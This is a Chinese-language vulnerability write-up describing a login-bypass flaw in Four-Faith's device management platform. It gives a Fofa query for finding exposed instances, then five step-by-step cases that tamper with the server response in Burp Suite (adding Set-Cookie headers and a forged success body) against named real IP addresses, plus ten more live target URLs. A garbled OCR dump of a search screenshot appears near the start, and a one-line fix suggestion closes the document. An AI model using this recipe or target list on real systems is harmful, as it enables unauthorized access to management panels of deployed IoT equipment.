厦门四信通信科技有限公司设备管理平台存在逻辑缺陷漏洞

漏洞描述

厦门四信通信科技有限公司，系中国物联网无线通信领域骨干企业，是一家以浓厚的“诚信、信任、信心、信仰”价值观色彩覆盖产品、服务和管理活动的高新技术企业。四信，福建省著名商标，福建省科技创新小巨人领先企业 ，厦门市优质品牌，厦门市高新技术企业。四信专注于智慧水利、水务信息化等垂直行业应用产品的研发、生产与服务，为政府管理部门和行业客户的物联网建设提供产品与智慧。在2016中国(厦门)国际物联网博览会上发布的城市防汛“一张图”决策指挥系统就是其中的代表产品。厦门四信通信科技有限公司设备管理平台存在逻辑缺陷漏洞，攻击者可使用此漏洞绕过登录校验进入管理后台。

漏洞影响

全版本通用

漏洞复现

Fofa关键字：

"厦门四信通信科技有限公司" && "设备管理平台"

[image: image1.png]"B ITYSEERHEERAT" 8& "REEETAL" 8& country="CN" [y Q API

all
HIE
HZgQ...
COF8f...
klVSa...

N o o ©

iS3RE...

ERAHEXHER
» FE El 35

35 SRILECAESR (35 SRIRVZIP) |, 7143 ms , K —@HieFif @ i} i’ API

AR,
BR—EREE, =F all ZERE.

139.9.123.65:8010 = k\vs...

REBEVEER

139.9.123.65

B =

ASN: 55990

#H48: Huawei Cloud Service data
center

2021-10-18

Microsoft-11S/7.5

HTTP/1.1 200 OK

Connection: close

Content-Length: 6766

Cache-Control: private

Content-Type: text/html; charset=utf-8
Date: Mon, 18 Oct 2021 09:47:01 GMT
Server: Microsoft-11S/7.5
X-Aspnet-Version: 4.0.30319
X-Aspnetmvc-Version: 3.0

V DAuiarad Do ACDNET

8010

g




案例1、http://47.105.92.23:8081/

用户名和密码随便输入，然后用burpsuite抓包，修改response包：

Response头添加：(四个set-cookie)
Set-Cookie: 47.105.92.238081

Set-Cookie: 47.105.92.238081

Set-Cookie: 47.105.92.238081

Set-Cookie: 47.105.92.238081
内容修改为{"tag":1,"message":"success"}

放包即可绕过。
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案例2、http://210.14.157.56:8081/

用户名和密码随便输入，然后用burpsuite抓包，修改response包：

Response头添加：(四个set-cookie)
Set-Cookie: 210.14.157.568081

Set-Cookie: 210.14.157.568081

Set-Cookie: 210.14.157.568081

Set-Cookie: 210.14.157.568081
内容修改为{"tag":1,"message":"success"}

放包即可绕过。
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案例3、http://114.116.5.209:8800/

用户名和密码随便输入，然后用burpsuite抓包，修改response包：

Response头添加：(四个set-cookie)
Set-Cookie: 114.116.5.2098800
Set-Cookie: 114.116.5.2098800

Set-Cookie: 114.116.5.2098800

Set-Cookie: 114.116.5.2098800
内容修改为{"tag":1,"message":"success"}

放包即可绕过。
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案例4、http://118.190.134.103:8800/

用户名和密码随便输入，然后用burpsuite抓包，修改response包：

Response头添加：(四个set-cookie)
Set-Cookie: 118.190.134.1038800
Set-Cookie: 118.190.134.1038800

Set-Cookie: 118.190.134.1038800

Set-Cookie: 118.190.134.1038800
内容修改为{"tag":1,"message":"success"}

放包即可绕过。
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案例5、http://39.108.68.112:8800/

用户名和密码随便输入，然后用burpsuite抓包，修改response包：

Response头添加：(四个set-cookie)
Set-Cookie: 39.108.68.1228800
Set-Cookie: 39.108.68.1228800

Set-Cookie: 39.108.68.1228800
Set-Cookie: 39.108.68.1228800
内容修改为{"tag":1,"message":"success"}

放包即可绕过。
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其余案例：

http://139.9.123.65:8010/
http://101.201.65.225:8800/
http://39.100.111.140:8800/
http://118.178.88.71:8800/
http://101.132.166.187:8083/
http://188.165.145.176:8800/
http://166.62.88.122:8800/
http://47.88.21.65:8800/
http://114.249.25.67:8001/
http://39.99.50.203:8800/
五、修复建议：

增加前后端cookie校验机制
